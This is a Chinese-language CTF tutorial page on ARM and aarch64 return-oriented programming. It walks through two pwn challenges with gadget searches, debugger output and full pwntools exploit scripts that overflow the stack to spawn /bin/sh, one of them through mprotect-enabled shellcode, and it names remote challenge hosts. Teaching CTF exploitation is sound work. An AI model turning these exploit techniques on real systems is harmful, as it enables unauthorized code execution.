Arm ROP¶
Warning
The current page still doesn't have a translation for this language.
You can read it through Google Translate.
Besides, you can also help to translate it: Contributing.
介绍¶
因为目前为止,arm, mips 等架构出现的 pwn 还是较简单的栈漏洞,因此目前只打算介绍 arm 下的 rop,其他漏洞的利用以后会逐渐介绍
预备知识¶
先看一下 arm 下的函数调用约定,函数的第 1 ~ 4 个参数分别保存在 r0 ~ r3 寄存器中, 剩下的参数从右向左依次入栈, 被调用者实现栈平衡,函数的返回值保存在 r0 中
除此之外,arm 的 b/bl 等指令实现跳转; pc 寄存器相当于 x86 的 eip,保存下一条指令的地址,也是我们要控制的目标
jarvisoj - typo¶
这里以 jarvisoj 的 typo 一题为例进行展示,题目可以在 ctf-challenge 下载
确定保护¶
jarvisOJ_typo [master●●] check ./typo
typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped
[*] '/home/m4x/pwn_repo/jarvisOJ_typo/typo'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
利用思路¶
因此需要我们找一个溢出点,先运行一下程序,因为是静态链接的,所以在环境配置好的情况下直接运行即可
jarvisOJ_typo [master●●] ./typo
Let's Do Some Typing Exercise~
Press Enter to get start;
Input ~ if you want to quit
------Begin------
throng
throng
survive
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[1] 1172 segmentation fault ./typo
程序的输入点不多,很容易就能找到溢出点
构造 ROP¶
因此思路就很明显了,利用栈溢出构造 system("/bin/sh"), 先找一下 gadgets
jarvisOJ_typo [master●●] ROPgadget --binary ./typo --only "pop"
Gadgets information
============================================================
0x00020904 : pop {r0, r4, pc}
0x00068bec : pop {r1, pc}
0x00008160 : pop {r3, pc}
0x0000ab0c : pop {r3, r4, r5, pc}
0x0000a958 : pop {r3, r4, r5, r6, r7, pc}
0x00014a70 : pop {r3, r4, r7, pc}
0x000083b0 : pop {r4, pc}
0x00009284 : pop {r4, r5, pc}
0x000095b8 : pop {r4, r5, r6, pc}
0x000082e8 : pop {r4, r5, r6, r7, pc}
0x00023ed4 : pop {r4, r5, r7, pc}
0x00023dbc : pop {r4, r7, pc}
0x00014068 : pop {r7, pc}
Unique gadgets found: 13
我们只需要控制第一个参数,因此可以选择 pop {r0, r4, pc}
这条 gadgets, 来构造如下的栈结构
+-------------+
| |
| padding |
+-------------+
| padding | <- frame pointer
+-------------+
|gadgets_addr | <- return address
+-------------+
|binsh_addr |
+-------------+
|junk_data |
+-------------+
|system_addr |
+-------------+
这时还需要 padding 的长度和 system 以及 /bin/sh 的地址, /bin/sh 的地址用 ROPgadget 就可以找到
jarvisOJ_typo [master●●] ROPgadget --binary ./typo --string /bin/sh
Strings information
============================================================
0x0006cb70 : /bin/sh
pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
pwndbg> c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
R0 0x0
R1 0xfffef024 ◂— 0x61616161 ('aaaa')
R2 0x7e
R3 0x0
R4 0x62616162 ('baab')
R5 0x0
R6 0x0
R7 0x0
R8 0x0
R9 0xa5ec ◂— push {r3, r4, r5, r6, r7, r8, sb, lr}
R10 0xa68c ◂— push {r3, r4, r5, lr}
R11 0x62616163 ('caab')
R12 0x0
SP 0xfffef098 ◂— 0x62616165 ('eaab')
PC 0x62616164 ('daab')
───────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────
Invalid address 0x62616164
────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000│ sp 0xfffef098 ◂— 0x62616165 ('eaab')
01:0004│ 0xfffef09c ◂— 0x62616166 ('faab')
02:0008│ 0xfffef0a0 ◂— 0x62616167 ('gaab')
03:000c│ 0xfffef0a4 ◂— 0x62616168 ('haab')
04:0010│ 0xfffef0a8 ◂— 0x62616169 ('iaab')
05:0014│ 0xfffef0ac ◂— 0x6261616a ('jaab')
06:0018│ 0xfffef0b0 ◂— 0x6261616b ('kaab')
07:001c│ 0xfffef0b4 ◂— 0x6261616c ('laab')
Program received signal SIGSEGV
pwndbg> cyclic -l 0x62616164
112
或者可以更暴力一点直接爆破栈溢出的长度
至于 system 的地址,因为这个 binary 被去除了符号表,我们可以先用 rizzo
来恢复部分符号表(关于恢复符号表暂时可以先看参考链接,以后会逐渐介绍)。虽然 rizzo 在这个 binary 上恢复的效果不好,但很幸运,在识别出来的几个函数中刚好有 system
char *__fastcall system(int a1)
{
char *result; // r0
if ( a1 )
result = sub_10BA8(a1);
else
result = (char *)(sub_10BA8((int)"exit 0") == 0);
return result;
}
或者可以通过搜索 /bin/sh 字符串来寻找 system 函数
exp¶
所有的条件都有了,构造 system("/bin/sh") 即可
jarvisOJ_typo [master●●] cat solve.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
import pdb
# context.log_level = "debug"
# for i in range(100, 150)[::-1]:
for i in range(112, 123):
if sys.argv[1] == "l":
io = process("./typo", timeout = 2)
elif sys.argv[1] == "d":
io = process(["qemu-arm", "-g", "1234", "./typo"])
else:
io = remote("pwn2.jarvisoj.com", 9888, timeout = 2)
io.sendafter("quit\n", "\n")
io.recvline()
'''
jarvisOJ_typo [master●●] ROPgadget --binary ./typo --string /bin/sh
Strings information
============================================================
0x0006c384 : /bin/sh
jarvisOJ_typo [master●●] ROPgadget --binary ./typo --only "pop|ret" | grep r0
0x00020904 : pop {r0, r4, pc}
'''
payload = 'a' * i + p32(0x20904) + p32(0x6c384) * 2 + p32(0x110B4)
success(i)
io.sendlineafter("\n", payload)
# pause()
try:
# pdb.set_trace()
io.sendline("echo aaaa")
io.recvuntil("aaaa", timeout = 1)
except EOFError:
io.close()
continue
else:
io.interactive()
2018 上海市大学生网络安全大赛 - baby_arm¶
静态分析¶
题目给了一个 aarch64
架构的文件,没有开 canary 保护
Shanghai2018_baby_arm [master] check ./pwn
+ file ./pwn
./pwn: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[sha1]=e988eaee79fd41139699d813eac0c375dbddba43, stripped
+ checksec ./pwn
[*] '/home/m4x/pwn_repo/Shanghai2018_baby_arm/pwn'
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
__int64 main_logic()
{
Init();
write(1LL, "Name:", 5LL);
read(0LL, input, 512LL);
sub_4007F0();
return 0LL;
}
void sub_4007F0()
{
__int64 v0; // [xsp+10h] [xbp+10h]
read(0LL, &v0, 512LL);
}
sub_4007F0()
中,又读取了 512 个字节到栈上,需要注意的是这里直接从 frame pointer + 0x10
开始读取,因此即使开了 canary 保护也无所谓。 思路¶
理一下思路,可以直接 rop,但我们不知道远程的 libc 版本,同时也发现程序中有调用 mprotect
的代码段
.text:00000000004007C8 STP X29, X30, [SP,#-0x10]!
.text:00000000004007CC MOV X29, SP
.text:00000000004007D0 MOV W2, #0
.text:00000000004007D4 MOV X1, #0x1000
.text:00000000004007D8 MOV X0, #0x1000
.text:00000000004007DC MOVK X0, #0x41,LSL#16
.text:00000000004007E0 BL .mprotect
.text:00000000004007E4 NOP
.text:00000000004007E8 LDP X29, X30, [SP],#0x10
.text:00000000004007EC RET
mprotect
的权限位设成了 0,没有可执行权限,这就需要我们通过 rop 控制 mprotect
设置如 bss 段等的权限为可写可执行 因此可以有如下思路:
- 第一次输入 name 时,在 bss 段写上 shellcode
- 通过 rop 调用 mprotect 改变 bss 的权限
- 返回到 bss 上的 shellcode
mprotect
需要控制三个参数,可以考虑使用 ret2csu 这种方法,可以找到如下的 gadgets 来控制 x0, x1, x2
寄存器
.text:00000000004008AC LDR X3, [X21,X19,LSL#3]
.text:00000000004008B0 MOV X2, X22
.text:00000000004008B4 MOV X1, X23
.text:00000000004008B8 MOV W0, W24
.text:00000000004008BC ADD X19, X19, #1
.text:00000000004008C0 BLR X3
.text:00000000004008C4 CMP X19, X20
.text:00000000004008C8 B.NE loc_4008AC
.text:00000000004008CC
.text:00000000004008CC loc_4008CC ; CODE XREF: sub_400868+3C↑j
.text:00000000004008CC LDP X19, X20, [SP,#var_s10]
.text:00000000004008D0 LDP X21, X22, [SP,#var_s20]
.text:00000000004008D4 LDP X23, X24, [SP,#var_s30]
.text:00000000004008D8 LDP X29, X30, [SP+var_s0],#0x40
.text:00000000004008DC RET
最终的 exp 如下:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
context.binary = "./pwn"
context.log_level = "debug"
if sys.argv[1] == "l":
io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./pwn"])
elif sys.argv[1] == "d":
io = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu", "./pwn"])
else:
io = remote("106.75.126.171", 33865)
def csu_rop(call, x0, x1, x2):
payload = flat(0x4008CC, '00000000', 0x4008ac, 0, 1, call)
payload += flat(x2, x1, x0)
payload += '22222222'
return payload
if __name__ == "__main__":
elf = ELF("./pwn", checksec = False)
padding = asm('mov x0, x0')
sc = asm(shellcraft.execve("/bin/sh"))
# print disasm(padding * 0x10 + sc)
io.sendafter("Name:", padding * 0x10 + sc)
sleep(0.01)
# io.send(cyclic(length = 500, n = 8))
# rop = flat()
payload = flat(cyclic(72), csu_rop(elf.got['read'], 0, elf.got['__gmon_start__'], 8))
payload += flat(0x400824)
io.send(payload)
sleep(0.01)
io.send(flat(elf.plt['mprotect']))
sleep(0.01)
raw_input("DEBUG: ")
io.sendafter("Name:", padding * 0x10 + sc)
sleep(0.01)
payload = flat(cyclic(72), csu_rop(elf.got['__gmon_start__'], 0x411000, 0x1000, 7))
payload += flat(0x411068)
sleep(0.01)
io.send(payload)
io.interactive()
notice¶
同时需要注意的是,checksec
检测的结果是开了 nx 保护,但这样检测的结果不一定准确,因为程序的 nx 保护也可以通过 qemu 启动时的参数 -nx
来决定(比如这道题目就可以通过远程失败时的报错发现程序开了 nx 保护),老版的 qemu 可能没有这个参数。
Desktop ./qemu-aarch64 --version
qemu-aarch64 version 2.7.0, Copyright (c) 2003-2016 Fabrice Bellard and the QEMU Project developers
Desktop ./qemu-aarch64 -h| grep nx
-nx QEMU_NX enable NX implementation
如果有如下的报错,说明没有 aarch64 的汇编器
[ERROR] Could not find 'as' installed for ContextType(arch = 'aarch64', binary = ELF('/home/m4x/Projects/ctf-challenges/pwn/arm/Shanghai2018_baby_arm/pwn'), bits = 64, endian = 'little', log_level = 10)
Try installing binutils for this architecture:
https://docs.pwntools.com/en/stable/install/binutils.html
Shanghai2018_baby_arm [master●] apt search binutils| grep aarch64
p binutils-aarch64-linux-gnu - GNU binary utilities, for aarch64-linux-gnu target
p binutils-aarch64-linux-gnu:i386 - GNU binary utilities, for aarch64-linux-gnu target
p binutils-aarch64-linux-gnu-dbg - GNU binary utilities, for aarch64-linux-gnu target (debug symbols)
p binutils-aarch64-linux-gnu-dbg:i386 - GNU binary utilities, for aarch64-linux-gnu target (debug symbols)
Shanghai2018_baby_arm [master●] sudo apt install bintuils-aarch64-linux-gnu
aarch64 的文件在装 libc 时是
arm64
,在装binutils
时是aarch64
例题¶
Codegate2015 - melong